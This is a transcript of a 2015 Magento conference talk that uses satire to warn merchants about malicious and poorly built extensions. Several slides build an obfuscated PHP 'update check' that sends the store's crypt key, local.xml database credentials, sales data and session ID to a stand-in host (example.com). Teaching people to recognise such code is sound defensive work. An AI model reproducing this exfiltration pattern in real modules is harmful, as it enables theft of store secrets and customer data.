how to build a pure evil magento module

Post on 03-Aug-2015

2.504 Views

Category:

Technology

5 Downloads

Preview:

Click to see full reader

TRANSCRIPT

Pure Evil How to Build a

Meet Magento 2015 – Leipzig, Germany

Fabrizio Branca

Magento Module

fbrnc

fbrnc

San Francisco, CA

Janine

Fiona

that’s me

Leo

Lake Tahoe, California

87.44%* of all modules

(both paid or free) are known to be a

major risk

*Note: Some statistics in this presentation may or may not be randomly made up based on wild guesses.

Goals

help you spot evil modules and avoid installing

them

1 motivate vendors

to rethink their “best practices”

2 make YOU write better modules

3

Disclaimer:

Persons (or Companies) Living or Dead Is

Purely Coincidental

Any Similarity to

Magento Module How to Build a Pure Evil

in 51 simple steps

Okay, let’s get started:

7

Name

http://magename.me/

Mage Pro Gento

Security

http://example.com/news.xml

Annoying, huh?

http://example.com/news.xml ?rlWgMKAmLJqyVwbvV09jMJ5Go3IlL2IFo2AeplRvsD%3Q%3Q

…and how do you feel about this?!

“http://example.com/news.xml?”.

“http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version )))));

“http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version, 'magento_version' => Mage::getVersion() )))));

“http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version, 'magento_version' => Mage::getVersion(), 'install_date' => Mage::getConfig()->getNode('global/install/date') )))));

“http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version, 'magento_version' => Mage::getVersion(), 'install_date' => Mage::getConfig()->getNode('global/install/date'), 'lifetime_sales' => $sales->getLifetime(), 'average_orders' => $sales->getAverage() )))));

“http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version, 'magento_version' => Mage::getVersion(), 'install_date' => Mage::getConfig()->getNode('global/install/date'), 'lifetime_sales' => $sales->getLifetime(), 'average_orders' => $sales->getAverage(), 'crypt_key' => Mage::getConfig()->getNode('global/crypt/key') )))));

“http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version, 'magento_version' => Mage::getVersion(), 'install_date' => Mage::getConfig()->getNode('global/install/date'), 'lifetime_sales' => $sales->getLifetime(), 'average_orders' => $sales->getAverage(), 'crypt_key' => Mage::getConfig()->getNode('global/crypt/key'), 'local.xml' => file_get_contents('app/etc/local.xml') )))));

“http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version, 'magento_version' => Mage::getVersion(), 'install_date' => Mage::getConfig()->getNode('global/install/date'), 'lifetime_sales' => $sales->getLifetime(), 'average_orders' => $sales->getAverage(), 'crypt_key' => Mage::getConfig()->getNode('global/crypt/key'), 'local.xml' => file_get_contents('app/etc/local.xml'), 'session_id' => Mage::getSingleton('core/session')->getEncryptedSessionId() )))));

You need to trust EVERY. SINGLE. LINE. you deploy to your server!

Average number of modules

~10

Launch

>100

After 2 years

per Magento store https://twitter.com/ProductPaul/status/584393641575088128

Note: sample size may or may not be significant.

malicious

vulnerable vs

Scalability Performance

Chances your module ends up on an installation with …

…more products

than on your

devbox

…a higher order

volume than on

your devbox

…more

concurrent users

than on your

devbox

73.25% 80.77% 98.53%

“Always do queries inside loops to support sales of full page cache extensions.” http://meta.magento.stackexchange.com/questions/288/funny-

useless-horrible-code-from-magento-extensions

Assume all instances Problem:

share a file system

If your infrastructure looks more like this:

Route 53

ELB

CloudFront:

Theme (JS/CSS,…)

CloudFront:

media files

Internet

S3:

media

files

S3: build

packages

Continuous

Integration

Pipeline (Jenkins)

OpsWorks

Availability Zone

AWS

CloudFormation

CloudWatch

✓inherently fault tolerant

✓ ✓ ✓

Redis:

Sessions Redis:

Cache Backend RDS DB

instance

RDS DB

instance standby

(Multi-AZ)

✓ ✓

Auto Scaling Group

Frontend Layer Backend Layer

Worker Layer

Varnish Layer

Data Layer

RDS DB Read

replica (for

reports)

Redis:

Full page cache

backend

Production

Stack

External Services

(Fulfillment, DRM,

Giftcards,…)

SES:

Transactional

emails

SQS:

Queue

“Stack” (= Environment)

“Layers”

App Instances

rather than this:

Internet

then you most likely don’t have a shared file system

Please do not let your “configurable theme” dynamically generate skin files with custom CSS values.

How do you handle… version control?

multi-server setups? auto-scaling?

file permissions?

Code Quality

ini_set

display_errors

memory_limit

max_execution_time

shutdown_function

spl_autoload_register

Don’t mess with PHP

Rewrites of important classes

Overwrites

Core Hacks

Events

Framework behavior

Core Concepts

Compilation

Don’t mess with Magento

…unless this is what your module

is all about

<?xml version="1.0"?> <config> <global> <events> <controller_action_predispatch> <observers> <magegento_pro_license_check> <class>magegento_pro/observer</class> <method>licenseCheck</method> </magegento_pro_license_check> <magegento_pro_update_check> <class>magegento_pro/observer</class> <method>updateCheck</method> </magegento_pro_update_check>

</observers> </controller_action_predispatch> </events> </global> </config>

Be readable

foreach ($collection as $product) { /* @var $product Mage_Core_Model_Product */ ... }

Be specific

!is_null($adminKey) && $adminKey != '' && $request['auth']['admin_key'] = $adminKey;

Don’t Be fancy

I don’t always test my code.

But when I do I do it on production.

Testcases?

That’s only for over-achievers!

Jenkins Travis CI Use Jenkins to implement a full deployment pipeline for

your projects!

Test our Open Source Magento modules with Travis CI!

Dependencies

PHP version & extensions

3rd party libraries

3rd party services

other Magento modules

1. Avoid Dependencies 2. Declare Dependencies

any dependency increases the complexity significantly

Teacher Syndrome*

*http://www.urbandictionary.com/define.php?term=Teacher+Syndrome

http://example.com/logo.gif ?rlWgMKAmLJqyVwbvV09jMJ5Go3IlL2IFo2AeplRvsD%3Q%3Q

http://example.com/clear.gif ?rlWgMKAmLJqyVwbvV09jMJ5Go3IlL2IFo2AeplRvsD%3Q%3Q

ZZZ_MageGento_Pro.xml app/etc/modules/

Installation Support

discover use

code

review

add

modman

add

composer git integrate test

deploy

The Right Thing™

download

good luck with that!

pay $xx

to author provide FTP

access

seriously?!

one-click

install

Module Installation

upload

“Step 1”

upload

“Step 2”

clear

caches

You need to trust EVERY. SINGLE. LINE. you deploy to your server!

How do you handle… version control?

multi-server setups? auto-scaling?

file permissions?

Transparency

Find your sweet spot

GitHub ionCube

Find your sweet spot

GitHub ionCube

Find your sweet spot

GitHub ionCube

https://twitter.com/benmarks/status/593807195768127488

Forecast risk a new

module crashes

your store

developer

happiness

http://freakonomics.com/2015/01/15/thats-a-great-question-a-new-freakonomics-radio-podcast/

Chances a speaker begins his answer with

“That’s a great question!” (...even if the question wasn’t that great.)

78.84%

USA

23.47%

Europe

Thank you!

http://www.aoe.com

http://fbrnc.net

@fbrnc Follow me on twitter!

My blog

top related